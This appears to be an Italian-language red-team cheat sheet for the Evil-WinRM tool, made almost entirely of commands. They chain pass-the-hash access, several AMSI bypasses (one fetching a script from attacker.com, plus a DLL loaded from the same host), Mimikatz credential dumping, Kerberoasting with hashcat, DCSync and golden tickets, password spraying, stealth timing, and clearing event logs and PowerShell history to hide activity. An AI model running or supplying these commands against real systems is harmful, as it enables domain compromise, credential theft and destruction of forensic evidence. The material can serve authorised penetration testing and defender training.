Evil-WinRM: Accesso Remoto e Post-Exploitation su Windows via WinRM

# Install via gem (metodo consigliato)
gem install evil-winrm

# Verifica versione
evil-winrm --version

# Clone repository
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm

# Install dependencies
gem install bundler
bundle install

# Execute
ruby evil-winrm.rb --help

# Pull image
docker pull oscarakaelvis/evil-winrm

# Run
docker run --rm -it oscarakaelvis/evil-winrm -i 192.168.1.100 -u administrator -p 'P@ssw0rd'

# Verifica WinRM status
Get-Service WinRM

# Enable WinRM (se disabilitato)
Enable-PSRemoting -Force

# Check listeners
winrm enumerate winrm/config/listener

# Allow WinRM through firewall
Enable-NetFirewallRule -Name "WINRM-HTTP-In-TCP"
Enable-NetFirewallRule -Name "WINRM-HTTPS-In-TCP"

# Sintassi base
evil-winrm -i <IP> -u <username> -p '<password>'

# Esempio domain user
evil-winrm -i 192.168.1.100 -u Administrator -p 'P@ssw0rd123!'

# Con domain specificato
evil-winrm -i 192.168.1.100 -u 'CORP\admin' -p 'Password!'

# Solo NTLM hash (no password)
evil-winrm -i 192.168.1.100 -u Administrator -H '32ed87bdb5fdc5e9cba88547376818d4'

# LM:NTLM format (LM opzionale)
evil-winrm -i target -u admin -H 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4'

# Con Kerberos ticket (ccache file)
export KRB5CCNAME=/path/to/ticket.ccache
evil-winrm -i dc.corp.local -r CORP.LOCAL

# Oppure con kirbi ticket (Rubeus format)
evil-winrm -i target -u user -K /path/to/ticket.kirbi

# HTTPS (porta 5986)
evil-winrm -i 192.168.1.100 -u admin -p 'Pass!' -S

# Con certificato custom
evil-winrm -i target -u admin -p pass -S -c /path/to/cert.pem -k /path/to/key.pem

# AMSI bypass automatico
*Evil-WinRM* PS> Bypass-4MSI

[+] Success!

*Evil-WinRM* PS> Invoke-Mimikatz
# Senza Bypass-4MSI: AMSI block
# Con Bypass-4MSI: Execution successful

# In-memory .NET assembly execution
*Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe kerberoast

# Con argomenti
*Evil-WinRM* PS> Invoke-Binary C:\Tools\SharpHound.exe -c All

# Reflective DLL loading
*Evil-WinRM* PS> Dll-Loader -http http://attacker.com/payload.dll

# Da SMB share
*Evil-WinRM* PS> Dll-Loader -smb \\attacker\share\ReflectiveDLL.dll

# Da file locale
*Evil-WinRM* PS> Dll-Loader -local C:\Windows\Temp\payload.dll

# Shellcode injection via donut
*Evil-WinRM* PS> Donut-Loader -process_id 1234 -donutfile /path/to/payload.bin

# Con architecture specifica
*Evil-WinRM* PS> Donut-Loader -process_id 2456 -donutfile payload.bin -arch x64

# Upload file to target
*Evil-WinRM* PS> upload /opt/mimikatz.exe C:\Windows\Temp\m.exe

# Download file from target
*Evil-WinRM* PS> download C:\Users\admin\Desktop\passwords.txt /tmp/loot.txt

# Menu file operations
*Evil-WinRM* PS> menu

# Lista services
*Evil-WinRM* PS> services

# Info service specifico
*Evil-WinRM* PS> Get-Service WinRM

# Start/Stop service
*Evil-WinRM* PS> Start-Service ServiceName
*Evil-WinRM* PS> Stop-Service ServiceName

# Step 1: Bypass AMSI
*Evil-WinRM* PS> Bypass-4MSI
[+] Success!

# Step 2: Upload Mimikatz (se non in scripts path)
*Evil-WinRM* PS> upload /opt/Invoke-Mimikatz.ps1 C:\Windows\Temp\im.ps1

# Step 3: Import module
*Evil-WinRM* PS> Import-Module C:\Windows\Temp\im.ps1

# Step 4: Dump credentials
*Evil-WinRM* PS> Invoke-Mimikatz -DumpCreds

# Rubeus per Kerberoasting
*Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe kerberoast /outfile:tickets.txt

# SharpHound per BloodHound collection
*Evil-WinRM* PS> Invoke-Binary /opt/SharpHound.exe -c All -d corp.local

# Seatbelt enumeration
*Evil-WinRM* PS> Invoke-Binary /opt/Seatbelt.exe -group=all

# Configura scripts directory
evil-winrm -i target -u admin -p pass -s /opt/powershell-scripts/

# Scripts caricati automaticamente
*Evil-WinRM* PS> PowerView.ps1 loaded
*Evil-WinRM* PS> Invoke-ShareFinder.ps1 loaded

*Evil-WinRM* PS> Get-DomainUser -Identity admin
*Evil-WinRM* PS> Invoke-ShareFinder

# Configura executables directory
evil-winrm -i target -u admin -p pass -e /opt/windows-tools/

# Esegui direttamente
*Evil-WinRM* PS> mimikatz.exe
*Evil-WinRM* PS> rubeus.exe kerberoast

# Password spray con Evil-WinRM
for user in $(cat users.txt); do
    echo "[*] Testing: $user"
    timeout 10 evil-winrm -i 192.168.1.100 -u "$user" -p 'Winter2024!' -e 'whoami' 2>&1 | grep -q "administrator" && echo "[+] Success: $user"
done

# Hash ottenuto: CORP\it-admin : a4f49c406510bdcab6824ee7c30fd852

# Verifica WinRM aperto
nmap -p5985 192.168.10.200

# PTH connection
evil-winrm -i 192.168.10.200 -u it-admin -H 'a4f49c406510bdcab6824ee7c30fd852'

# Bypass AMSI
*Evil-WinRM* PS> Bypass-4MSI

# Enumerate domain admins logged in
*Evil-WinRM* PS> query user

# Token theft (se DA presente)
*Evil-WinRM* PS> upload /opt/Invoke-TokenManipulation.ps1
*Evil-WinRM* PS> . .\Invoke-TokenManipulation.ps1
*Evil-WinRM* PS> Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "CORP\Administrator"

# Su target (con altro accesso)
Add-LocalGroupMember -Group "Remote Management Users" -Member "CORP\it-admin"

nmap -p5985,5986 target
curl http://target:5985/wsman

evil-winrm -i DC01.corp.local -u 'CORP\domain_user' -p 'UserPass123!'

*Evil-WinRM* PS> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe kerberoast /outfile:C:\Windows\Temp\tickets.txt

*Evil-WinRM* PS> download C:\Windows\Temp\tickets.txt /tmp/kerberoast_hashes.txt

# Con Hashcat
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt

# Output:
# $krb5tgs$23$*svc_sql...:Password123!

# Verifica architecture
*Evil-WinRM* PS> [Environment]::Is64BitOperatingSystem

# Upload Rubeus x64 o x86 appropriato

*Evil-WinRM* PS> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select SamAccountName,ServicePrincipalName

# PowerShell reflection method
*Evil-WinRM* PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Connection con scripts path
evil-winrm -i 192.168.1.100 -u 'CORP\user' -p 'pass' -s /opt/bloodhound/

*Evil-WinRM* PS> Bypass-4MSI

# In-memory SharpHound
*Evil-WinRM* PS> Invoke-Binary /opt/SharpHound.exe -c All -d corp.local --zipfilename corp_bloodhound.zip

*Evil-WinRM* PS> download C:\Users\user\Documents\20241215143025_corp_bloodhound.zip /tmp/bloodhound_data.zip

# Import in BloodHound
neo4j start
bloodhound

# Upload ZIP in BloodHound UI
# Analysis: Find shortest path to Domain Admins

*Evil-WinRM* PS> $file = "bloodhound.zip"
*Evil-WinRM* PS> $chunks = [Math]::Ceiling((Get-Item $file).Length / 10MB)
*Evil-WinRM* PS> 1..$chunks | ForEach-Object {
    $start = ($_ - 1) * 10MB
    [System.IO.File]::ReadAllBytes($file)[$start..($start + 10MB)] | 
    Set-Content "bloodhound_part$_.zip" -Encoding Byte
}

# Download parts separatamente
*Evil-WinRM* PS> download bloodhound_part1.zip
*Evil-WinRM* PS> download bloodhound_part2.zip

# Session collection only
*Evil-WinRM* PS> Invoke-Binary SharpHound.exe -c Session

# Poi Group
*Evil-WinRM* PS> Invoke-Binary SharpHound.exe -c Group

# Merge JSON files

# Step 1: Hash da Mimikatz
NTLM: a4f49c406510bdcab6824ee7c30fd852

# Step 2: PTH con Evil-WinRM
evil-winrm -i 192.168.1.100 -u admin -H a4f49c406510bdcab6824ee7c30fd852

# Step 3: Kerberoast
*Evil-WinRM* PS> Invoke-Binary Rubeus.exe kerberoast /outfile:tickets.txt
*Evil-WinRM* PS> download tickets.txt

# Step 4: Crack con Hashcat
hashcat -m 13100 tickets.txt rockyou.txt

# Output: svc_sql:Password123!

# Step 5: Lateral to SQL server
evil-winrm -i sql01.corp.local -u svc_sql -p 'Password123!'

# Impacket per initial foothold
psexec.py -hashes :hash CORP/admin@target

# Pivot to Evil-WinRM per capabilities avanzate
evil-winrm -i target -u admin -H hash

# In Evil-WinRM: advanced post-exploitation
*Evil-WinRM* PS> Bypass-4MSI
*Evil-WinRM* PS> Invoke-Binary Rubeus.exe dump /service:krbtgt

# Cobalt Strike beacon → Evil-WinRM per interactive access

# Da beacon, spawn Evil-WinRM session
beacon> shell evil-winrm -i 192.168.1.100 -u admin -p pass

# Oppure upload tool e execute via beacon
beacon> upload /opt/Rubeus.exe C:\Windows\Temp\r.exe
beacon> shell evil-winrm -i localhost -u admin -p pass -e 'C:\Windows\Temp\r.exe kerberoast'

# Mimikatz dump
PS> .\mimikatz.exe "sekurlsa::logonpasswords" exit

# Hash trovato:
# CORP\backup_admin : b4e7c8d9a1f2e3b5c6a7d8e9f0a1b2c3

# WinRM access
evil-winrm -i 192.168.10.200 -u backup_admin -H b4e7c8d9a1f2e3b5c6a7d8e9f0a1b2c3

*Evil-WinRM* PS> Bypass-4MSI
*Evil-WinRM* PS> Invoke-Binary Rubeus.exe kerberoast /outfile:tickets.txt
*Evil-WinRM* PS> download tickets.txt

hashcat -m 13100 tickets.txt rockyou.txt

# Cracked:
# svc_mssql:SQLPass2024!

evil-winrm -i sql01.corp.local -u svc_mssql -p 'SQLPass2024!'

*Evil-WinRM* PS> whoami /groups
# CORP\Domain Admins

evil-winrm -i DC01.corp.local -u svc_mssql -p 'SQLPass2024!'

*Evil-WinRM* PS> Bypass-4MSI
*Evil-WinRM* PS> upload /opt/mimikatz.exe
*Evil-WinRM* PS> .\mimikatz.exe "lsadump::dcsync /all /csv" exit > hashes.csv
*Evil-WinRM* PS> download hashes.csv

*Evil-WinRM* PS> .\mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21... /krbtgt:[HASH] /ptt" exit

<Event>
  <EventID>91</EventID>
  <EventData>
    <Data Name="UserName">CORP\admin</Data>
    <Data Name="ClientIP">192.168.1.50</Data>
  </EventData>
</Event>

# Reflection method
*Evil-WinRM* PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Memory patching
*Evil-WinRM* PS> $mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4)
[System.Runtime.InteropServices.Marshal]::WriteInt32($mem, 0x80070057)

# Usa HTTPS (porta 5986) invece HTTP
evil-winrm -i target -u admin -p pass -S

# Traffic encrypted, più difficile IDS detection

# Scheduled task invece di immediate execution
*Evil-WinRM* PS> schtasks /create /tn "Update" /tr "powershell -c IEX(...)" /sc once /st 03:00

# Execution durante finestra bassa attività SOC

# Kerberos authentication (meno suspicious)
export KRB5CCNAME=/path/to/ticket.ccache
evil-winrm -i dc.corp.local -r CORP.LOCAL

# Vs NTLM (più monitored)
evil-winrm -i target -u admin -H hash

# Remove uploaded files
*Evil-WinRM* PS> Remove-Item C:\Windows\Temp\*.exe -Force
*Evil-WinRM* PS> Remove-Item C:\Users\*\Documents\*.zip -Force

# Clear PowerShell history
*Evil-WinRM* PS> Remove-Item (Get-PSReadlineOption).HistorySavePath -Force

# Clear event logs (requires elevated privileges)
*Evil-WinRM* PS> wevtutil cl "Windows PowerShell"
*Evil-WinRM* PS> wevtutil cl "Microsoft-Windows-PowerShell/Operational"
*Evil-WinRM* PS> wevtutil cl "Microsoft-Windows-WinRM/Operational"

# cleanup.ps1
Get-ChildItem C:\Windows\Temp\ -Filter *.exe | Remove-Item -Force
Get-ChildItem C:\Users\ -Recurse -Filter *bloodhound*.zip | Remove-Item -Force
Remove-Item (Get-PSReadlineOption).HistorySavePath -ErrorAction SilentlyContinue
Clear-EventLog -LogName "Windows PowerShell" -ErrorAction SilentlyContinue

# Execute via Evil-WinRM
*Evil-WinRM* PS> . .\cleanup.ps1

# Parallel connections (GNU parallel)
cat targets.txt | parallel -j 10 'evil-winrm -i {} -u admin -H hash -e "whoami" | tee {}.txt'

# Output per target salvato separatamente

# Test transfer 100 MB file
Measure-Command {
    upload /opt/payload.zip C:\Windows\Temp\payload.zip
}

# Local network: ~20-30 secondi (3-5 MB/s)
# Cross-subnet: ~40-60 secondi (1.5-2.5 MB/s)
# VPN: ~120-180 secondi (0.5-0.8 MB/s)

# Test porta
nmap -p5985,5986 target

# Test HTTP response
curl -v http://target:5985/wsman

# Su target (con altro accesso)
Enable-PSRemoting -Force

# Firewall rule
Enable-NetFirewallRule -Name "WINRM-HTTP-In-TCP"

# Verifica group membership
Get-LocalGroupMember "Remote Management Users"

# Aggiungi user al gruppo
Add-LocalGroupMember -Group "Remote Management Users" -Member "CORP\user"

# Oppure usa local Administrator

# Check WinRM config
winrm get winrm/config

# Verifica limits
winrm get winrm/config/winrs

# Aumenta shell limit
winrm set winrm/config/winrs '@{MaxShellsPerUser="10"}'

# Aumenta memory per shell
winrm set winrm/config/winrs '@{MaxMemoryPerShellMB="1024"}'

# Method 1: Reflection
*Evil-WinRM* PS> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# Method 2: Obfuscation
*Evil-WinRM* PS> $a='si';$b='Am';$c='Utils';IEX([Ref].Assembly.GetType(('System.Management.Automation.{0}{1}{2}' -f $b,$a,$c)).GetField(('am{0}InitFailed' -f $a),'NonPublic,Static').SetValue($null,$true))

# Method 3: Download custom bypass
*Evil-WinRM* PS> IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/bypass.ps1')

# Verifica disk space
*Evil-WinRM* PS> Get-PSDrive C | Select Used,Free

# Verifica permissions
*Evil-WinRM* PS> Test-Path C:\Windows\Temp -PathType Container

# Usa path alternative
*Evil-WinRM* PS> upload file.exe C:\Users\Public\file.exe

# Split large files
split -b 10M largefile.zip part_
# Upload parts separatamente

*Evil-WinRM* PS> [System.Runtime.InteropServices.RuntimeInformation]::FrameworkDescription

# 1. PTH connection
evil-winrm -i 192.168.1.100 -u admin -H hash

# 2. AMSI bypass
*Evil-WinRM* PS> Bypass-4MSI

# 3. Enumeration
*Evil-WinRM* PS> Invoke-Binary /opt/Seatbelt.exe -group=all

# 4. Credential access
*Evil-WinRM* PS> Invoke-Binary /opt/Rubeus.exe dump

# 5. Lateral movement
# [use credentials found]
evil-winrm -i next_target -u user -p 'cracked_password'